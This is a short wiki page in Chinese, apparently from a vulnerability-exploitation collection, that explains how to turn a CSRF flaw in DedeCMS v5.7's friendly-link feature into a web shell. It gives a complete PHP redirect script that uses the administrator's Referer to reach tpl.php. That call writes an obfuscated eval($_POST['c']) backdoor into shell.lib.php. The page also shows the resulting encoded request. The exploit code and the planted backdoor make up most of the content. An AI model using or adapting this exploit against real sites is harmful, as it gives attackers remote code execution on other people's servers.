View source for DedeCMS v5.7 友情鏈接CSRF GetShell漏洞/zh-tw

<languages  />

==漏洞利用==

[[File:Apply.png |700px]]


[[File:Edit.png |700px]]


<code>dedecms_csrf.php</code> 的內容如下：


<pre>
<?php
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php，取得dede后台的路径
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
header("location: ".$url);
exit();
</pre>



管理員：


[[File:Link_list.png |700px]]


由於友鏈中使用了header 跳轉，所以結果其實是訪問了<pre>http://localhost/DedeCMS/DedeCMS-V5.7-GBK-SP2-20170315/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php</pre> 請求。


shell.lib.php:

[[File:Shell.png |500px]]